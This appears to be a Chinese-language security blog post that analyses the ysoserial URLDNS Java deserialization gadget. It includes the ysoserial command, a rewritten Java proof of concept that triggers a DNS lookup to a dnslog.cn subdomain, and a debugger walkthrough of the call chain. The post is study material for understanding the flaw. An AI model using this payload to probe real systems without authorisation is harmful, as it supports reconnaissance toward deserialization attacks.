小樓昨夜又春風,你知ysoserial-Gadget-URLDNS多少?

前言

  2015年Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大會上提出的利用Apache Commons Collections來構造命令執行利用鏈,隨後發佈ysoserial工具,從此打開Java安全的藍海。
   利用鏈(gadget chains),俗稱gadget。通俗來說就是一種利用方法,它是從觸發位置開始到執行命令的位置結束,也可以說是漏洞驗證方法(POC)。
   使用方法,GitHub下載jar包或者git源碼自己編譯。

java -jar ysoseial.jar URLDNS “http://baidu.com”

再將生成號POC發送目標,如果目標存在反序列化漏洞,並且滿足利用鏈條件,則命令將會被執行。

ps: 本文實驗代碼都上傳JavaLearnVulnerability項目,爲了讓更多人知道,麻煩動動小手star一下。


URLDNS

   URLDNS是其中的一個gadget的名字,此gadget不能執行命令,通常用來驗證目標是否存在反序列化漏洞。URLDNS gadget十分適合用來驗證目標是否存在反序列化漏洞。

  • 此gadget完全使用Java內置的類構造,無需第三方庫支持。
  • 如果目標沒有回顯,通過DNS解析請求是否存在來判斷存在反序列化漏洞。

漏洞分析

打開https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java查看源碼,但筆者這裏使用自己改寫的源碼來分析此gadget鏈。

package samny.serializable;


import samny.util.Reflections;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {

        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };

        HashMap hm = new HashMap();
        URL url = new URL(null,"http://4h9yq1.dnslog.cn",handler);
        hm.put(url,url);

        Reflections.setFieldValue(url,"hashCode",-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url"));
        oos.writeObject(hm);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url"));
		// 註釋這行代碼是不會產生dns解析請求,
        ois.readObject();
    }
}

漏洞復現

   漏洞分析之前,我們先看看漏洞執行效果。
   分析一個在線dns解析記錄網站DNSlog Platform,網站無需任何登錄註冊,國內訪問速度也快,DNS記錄獲取速度沒得說,子域名可以無限更換。
在這裏插入圖片描述
漏洞復現步驟

  1. 修改你能過記錄dns解析的網址。
    在這裏插入圖片描述
  2. 直接運行main方法,刷新記錄。

斷點分析

   觸發反序列化漏洞的方法是readObject,所以筆者在43行代碼處和hashmapreadObject各設置一個斷點。
PS:

  • 以免dns記錄混淆,建議每次分析都換一個域名。
  • 此處會有一個問題就是我們到底怎麼在JDK包中找到HashMap這個類的readobject函數呢?因爲JDK的類超級多,難道我們必須要一個個翻找?
  • 其實搜索是可以搜索導入包的內容的,Ctrl+Shift+FScope - All Places搜索class hashmap即可。
    在這裏插入圖片描述
       斷點設置好了,開始分析,筆者這裏直接從HashMap.java的readObject開始分析。
    hashmap中readObject會調用putVal方法是往HashMap中放入鍵值對的方法,進而會計算hashcode值。
    在這裏插入圖片描述
       接着會判斷key是否爲空,hashCode是否不等於-1,不等於-1會直接返回,等於-1會重新計算。這時候我們看筆者寫源碼36行,修改方法hashCode的值爲-1,這時你是否明白此時的用意。
    在這裏插入圖片描述
    在這裏插入圖片描述
    在這裏插入圖片描述

   計算hash的時候會跳轉到java.net.URLStreamHandler.java#hashCode方法來計算hash。注意看圖片中被框住的一行代碼,hashCode在計算hash時,會調用getHostAddress()方法,進而調用getByName(host)方法。
在這裏插入圖片描述
   執行方法,我們發現會有一個等待時間大概2秒鐘之後(其實就是DNS解析所需要的時間),可以獲取DNS解析記錄。
在這裏插入圖片描述

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

小結

   整個的URLDNS的gadget其實清晰又簡單。

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

   其實作者在博客中寫道,可以用四行代碼就可以實現此gadget chains,反觀ysoserial中源碼,去掉註釋也多還有幾行代碼,多出的代碼時幹嘛的呢?

在這裏插入圖片描述

巧妙避免重複

   多出幾行代碼,我們來分析一下。ysoserial的作者重寫了URLStreamHandler其中兩個方法。但是我們還沒搞清楚其中的作用。

URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };

   老規矩,斷點擼碼。不過此時斷點應該設置在哪?筆者按照源作者的代碼,去掉序列化和反序列化的過程。剩下代碼也就上面的和下面圖片給出的5行代碼,分析不難發現斷點應該設置在hm.put()。其中31和32行代碼肯定是不會去設置斷點的,至於36行在之前就說明其作用。
在這裏插入圖片描述
   調試代碼不能發現,put方法也和hashmap中的readObject方法的方法是差不多的,繼續跟進。
在這裏插入圖片描述
   繼續跟進還是來到java.net.URLStreamHandler#hashCode方法,但此時方法會跳轉到筆者複寫的方法中,返回應該null,進而就不會去解析dns。
在這裏插入圖片描述
在這裏插入圖片描述


   爲什麼hashmap中putval方法就不會跳轉到我們復現的類方法裏面返回一個null呢?(個人見解,源碼無法修改所以無法調試)
答:反序列化時應該時將二進制代碼直接讀取,進去調用hashmap中readObject方法,此時反序列化完全是使用jdk源碼調用,不會再去看我們用戶複寫方法。
   筆者這裏有點事實可以整明我的觀點。
衆所周知Java是代碼是一行一行的去編譯解釋的,我們復現的類URLStreamHandler,實現的類對象hander在url進實例化的時候處理了,也就是33行代碼。但是進行反序列化操作的時候,並沒有將此復現方法進行序列化,所以反序列化的時候不會處理URL,計算hash值的時候,不可能跳轉到我們複寫的方法返回一個null,只能是跳轉到原本的方法中。
在這裏插入圖片描述


總結

   當URL最初被放在HashMap中時,通過可以調用put,HashMap.hashMap.hash方法被調用。這個方法反過來又會調用該URL的hashCode,但是hashCode是有一個緩存值的,並不會觸發DNS解析。但是我們可以在讀取數據流的時候,在URL添加到HashMap中重置緩存值(使其hashCode=-1),來確保DNS解析。可以使用Java的Reflection中setFieldValue方法來達到重置hashCode值爲-1。
   Ysoserial用一個類複寫完美避免重複DNSLOG,感概其作者的神奇邏輯思維能力。有興趣的朋友完全可以去註釋掉getHostAddress方法亦或者是刪除掉整個handler代碼,然後就會出現DNSLOG。


參考

P神Java安全漫談 - 08.反序列化篇(2)
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://lalajun.github.io/2020/03/05/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-ysoserial-URLDNS/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章